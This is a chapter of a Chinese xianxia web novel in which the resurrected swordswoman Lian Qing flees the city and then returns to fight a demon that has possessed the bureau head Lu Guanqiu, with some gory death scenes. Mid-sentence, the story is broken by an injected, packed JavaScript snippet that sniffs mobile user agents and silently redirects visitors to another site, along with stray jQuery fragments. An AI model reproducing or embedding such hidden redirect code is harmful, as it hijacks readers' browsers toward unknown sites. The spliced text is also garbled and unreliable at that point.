朝天阁那本《连青传》必须要大修一遍了。
两人又聊了些死行秘境相关的事情,天色渐黑,路观秋终于肯放连青离开。
等连青走到门外,路观秋才好似突然想起来什么,开口叫住她。
“谢姑娘留步,有一事方才忘了同您说。”
连青回头看她。
路观秋唇角微微弯着,善解人意道:“谢姑娘死而复生这件事,我已亲自给北洲无定宗宗主去了一封书信,过几日谢姑娘的师尊便会亲自赶来接您回北洲。”
连青:“……”
谁?谢南翎的师尊?
路观秋:“谢宗主特意传音与我,要我务必留您至他赶来,所以还要委屈谢姑娘在诛邪司多待些时日。“
待到那位谢宗主当面揭穿她的身份是吧。
连青皮笑肉不笑:“那可真是麻烦路司主了。”
路观秋:“不麻烦,都是应该的。只不过为了以防万一,谢姑娘应得的那一千两,大抵也要等谢宗主当面确认您的身份后才能给您了。”
连青笑不出来了。
-
魏晴云发现连青这一趟笑着出门,最后却臭着脸回来,定是路观秋干了对不起她的事儿。
路观秋那个人本来就不尊崇连青君,说不定还对她有意见,今天怕是还针对了一番连青本人——虽然路观秋可能并不知道连青就是连青君。
魏晴云心里打了会儿算盘,顶着她的黑脸硬是凑上前嘴欠道:“路观秋怎么你了,脸色这么臭,不会是把你钱黑了吧哈哈哈。”
连青看她一眼,蹲在她肩膀上的长命也跟着看向魏晴云。
被一人一鸟盯着的魏晴云头皮发麻:“她真黑了你的钱?多少钱,什么钱,不会是那一千两吧?!”
那一千两里可还有她的五百两呢,路观秋太过分了!
连青扔给她一包茶饼,自己留下一包,道:“你下午说路观秋刨了救世主的坟,现在却当上了诛邪司司主,这里面还有什么隐情?”
魏晴云手忙脚乱接过茶包,掀开闻了闻,有被香到,这玩意一闻就知道很值钱。
“因为路观秋的兑泽之力能够预知未来。”魏晴云满眼羡慕,叭叭叭将她打听到的事情倒豆子似的倒出来了,“预知未来可是主角才有的待遇,要是路观秋生在一百年前,说不定也是拯救世界的主角团之一,真是可惜了,生不逢时啊。”
连青挑着重点听,越听越皱眉:“她预知到了什么?”
“具体是什么我没打听到,只打听到路观秋当初刨坟是为了取出连青君的一样遗物。当时五方洲仅有的几个太极境大佬们都来了,他们和路观秋连夜开了个会,第二天早上出来后便告诉众人路观秋此举是为连青君。有那几位最厉害的大佬做担保,之后便没人敢再闹事,不过从那之后路观秋能预知未来的事就传遍了五方洲。”
“现在外面还有人猜测路观秋是不是看见了有关连青君的未来,只是一直没被证实,不过这么多年下来,中州的人多多少少都见识过路观秋的预知能力,所以也逐渐相信了她当初所说的话。”
魏晴云一口气说完,先给自己灌了杯茶,而后才问:“你怎么突然问起这个?”
连青面无表情看着她:“路观秋猜到了。”
“猜到什么?”魏晴云傻傻问。
连青不语,只一味地抬头望天。
魏晴云:“……你身份暴露了?那咋办,你要不干脆承认算了,长命都跟着你出来了,用不了多久,全青君城的人都会知道你就是长命最喜欢的连青君。”
像是为了附和她的话,长命高兴地“啾啾”两声。
连青捏住长命的嘴,威胁道:“再啾,就真的把你烤了。”
长命:!!!
于是两人一鸟惆怅了大半个晚上。
第二天一早,魏晴云醒来发现两件大事。
一件是她那包值钱的茶饼不见了。
另一件是连青也不见了。
混蛋连青居然偷了她的茶饼跑路了!还不带她一起跑!
而此时已经混出城的连青看了看刚从兜里翻出来的两包茶饼,又看了看赖在她肩头不走的长命,挑眉道:“你偷的?”
长命骄傲地“啾”了声。
等魏晴云睡醒,估计会气炸。
连青从自己的那包茶饼里掰了一小块喂长命,又将魏晴云的那包茶饼用绳打了个结系在它爪子上,哄骗道:“乖,吃完就把东西给人家送回去,偷东西是不好的,知不知道?”
虽然她也“借”过魏晴云乾坤袋里的玉牌,但她一向有借有还——再借也不难。
长命当然不愿意,一边疯狂甩左爪上的茶包,一边用右爪死死勾住连青的衣裳。
连青抬手挡住被它扑腾的翅膀扇到的脸,心想这只叛逆小鸟一定不是她养的,一点也不听话。
她正寻思着怎么骗它,抬头却见一抹黑气从青君城中缓缓飘起。
连青愣了下,眯眸细细看去。
诛邪司内有一朝天阁,足有塔高,顶层供奉着一把连枝剑,连青听魏晴云说过,但并不曾去过朝天阁。
只是朝天阁实在巍峨,只要还站在青君城的土地上,就能远远看见朝天阁那似要冲破凌霄的尖端。
连青刚才看见的那抹黑气便萦绕在朝天阁的尖端上。
那是邪祟的气。
这并非连青第一次见到邪祟之气,她从棺材爬出来之后的三天,与魏晴云一起来青君城的路上也曾遇见过几只邪祟,那些都是随手一捏便能解决的小邪祟。
可朝天阁上缠绕的那抹祟气,感觉不太妙。
和她有相同感觉的还有长命。
长命是灵鸟,最擅长分辨邪祟之气,此时它就察觉到朝天阁的那抹祟气不容小觑,连忙用翅膀扑腾连青的脸,啾啾叫着催促她像一百年前那样前去诛邪。
可连青已经不是一百年前的那个连青。
她看着长命的眼睛,声音平缓地告诉它:“诛邪司内有数十名修者,城中亦有不知凡几的散修,他们不比我弱。”
长命着急地“啾啾啾”,甚至跳下她肩膀,变成大鸟催促她坐上来,它要带她回去。
连青无动于衷,脸上的神情冷漠如冰。
长命哀哀鸣叫,始终无法唤她心软。
连青抬眸望向远处那抹越来越浓的邪祟之气,抬手摸了摸怀中的那枚桃木平安锁,垂眸的瞬间转身背对着青君城而去。
长命看着她毫不留恋离去的背影,又哀鸣着回头望向青君城,眼里流下泪水。
大鸟展翅,无风自起,吹起连青垂落的青色衣摆。
长命回头,带着左爪上那块小小的茶包,向着它生活了一百年的青君城而去。
-
诛邪司,朝天阁。
薛浓染望着眼前发生的一切,满面惊惧:“司主……司主怎么会变成这样?”
秦臻带着十数名修者将朝天阁包围,众人合力在周围建立起一道屏障,以防里面发生的一切伤及外面的人。
而在他们包围的中心,赫然是摘下眼上白纱的路观秋。
只不过此时的路观秋和之前的形象截然相反,她双目乌黑,眼白被黑色的邪祟之气重重覆盖,蠕动着蔓延至眼尾,再到脸颊,脖子,全身上下已经被浓郁的祟气侵蚀、包裹。
薛浓染近乎崩溃:“不是说修到太阴境就不会被邪祟入体了吗?为什么司主还是被邪祟附身了!为什么?!”
秦臻将薛浓染护到身后,凝视着眼前那个仿佛已经失去理智的路观秋,沉声道:“若是灵台有损,即便是太极境的大修,也可能会被邪祟侵蚀,司主她……”
薛浓染几乎要哭出来:“那怎么办,怎么办,救救司主,秦大人你救救司主!”
秦臻握剑的手紧了紧,他也很想救司主,可是自古至今,邪祟入体根本没办法救,他救不了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15714568|173530||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,甚至都不一定能救下屏障中的这些人。
司主虽然不善打架,可她的修为已经是太阴巅峰,即将步入太极境,被邪祟入体后修为更是会暴涨,他们这里的所有人加起来都可能不是这只邪祟的对手。
更何况,能侵蚀太阴境修者的邪祟,实力本就不容小觑。
秦臻的心越来越沉。
“路观秋”歪着头,黑得瘆人的双眼左右蠕动了一圈,唇角的弧度也越来越大,开口的嗓音十分滞涩,像是刚学会说人话:“连青,在哪。”
众人大惊。
躲在墙角的魏晴云听见这句话后心脏骤缩,无比懊悔刚才为什么要好奇心爆发跑来凑热闹,结果被困在这个屏障里出不去了!
还有连青,她居然自己跑路,不带她,实在太不讲义气!
眼前这个邪祟一看就跟别的不一样,它不仅能说话,开口还是王炸。
这不是要命了吗?
魏晴云捏紧手里的保命符,听见外面秦臻厉声道:“你究竟是谁?”
“路观秋”置若罔闻,随手一伸便将一人隔空抓到自己手中,掐住那人的脖子,黑色的邪祟之气渐渐侵入那人的眼睛,问道:“连青,在哪?”
被控制的人在她手中不断挣扎,眼珠挤得快要爆出来,从嗓子里艰难抠出几个字:“死、死了……”
“连青,死了?”
“路观秋”疑惑,随即摇头:“不可,能,我们,没死,她,也不,会死。”
她也不管自己的话对在场的人造成了多大的暴击,在那人手中剑即将刺入她后心时,随手掐断他的脖子将人扔到一旁,抬头看向朝天阁最高处,怀念道:“连青,的炁。”
那上面供奉着连枝剑,连青一百年前用来诛杀邪祟的剑,当然有她的炁。
魏晴云看着离她不到十厘米的人头,大脑一片空白。
他死不瞑目,眼珠被邪祟之气吞噬殆尽,只剩下两个血红的窟窿,甚至连露在外面的半张脸皮都被祟气吃得一干二净,森森白骨就这样暴露在阳光之下。
一百年前,像他这样死去的人还有更多,也许还有比他死得更惨的人。
所以,连青那时面对的就是这样的世界吗?
魏晴云控制不住自己的生理反应,想要干呕,眼泪从眼眶不断往下流,无声地滴落在被血染红的草叶上。
这是第一个死的人,接下来还会有更多的人死去,他们都不是邪祟入体的“路观秋”的对手。
怎么办,怎么办,怎么办。
动动脑子,快动动脑子。
直到近处传来一声惨叫,秦臻为了救人被“路观秋”生吃了半截手臂,魏晴云眼瞳放大,这一刻想也没想便捏爆了手中的保命符。
一阵金光冲天而起,硕大的金钟凭空笼罩在秦臻和薛浓染身上,而她自己却暴露在“路观秋”眼下。
“咦?”
“路观秋”伸长手臂掐住她的脖子,将她从草丛里抓出来,鼻子在她身上嗅来嗅去,奇怪道:“你有,连青,的炁。”
她疑惑:“你是,连青?”
魏晴云已经被掐得快要喘不过气,耳朵嗡鸣,根本听不清她在说什么,只能凭本能死命掰着她的手指,双脚挣扎着去踢她。
“好像,不是。”
“路观秋”伸出舌头舔了下她的脸,品了品气味,摇头:“不是。”
说罢,手下便是一个用力,想要依样捏断她的脖子。
下一瞬,手臂便被一柄凌空飞来的袖珍小剑骤然斩断,鲜血迸溅。
“她当然不是。”
魏晴云摔倒在地,捂着脖子吭哧吭哧直喘气,眼前一片模糊,听见这个声音后立刻努力地睁大眼睛,望向说话的那人,眼泪不停地从眼角流下来。
“你,你可算来了!”她拼命从嗓子里挤出这几个字,然后放心地晕了过去。
连青依旧穿着那身青色的短罩和白色长袖,这身新衣裳还是魏晴云当初为了讨好她特地给她买的,只不过左肩已经被长命的爪子挠出了丝。
连青抬手,插在地上的那柄袖珍小剑重新回到她手里。
她低头看了眼瘫在地上半死不活的魏晴云,又看了看周围的一片狼藉和几具破碎的尸体,最后才抬头看向“路观秋”。
“路观秋”惊喜地望着连青,嗅嗅嗅:“连青?你是,连青?”
“没错,我是连青。”
连青提剑向她走去,剑刃缓缓附上一层薄薄的离火,斑驳树荫下的黑眸映出重重火焰。
“有什么话,等你死了之后找去阎王爷说吧。”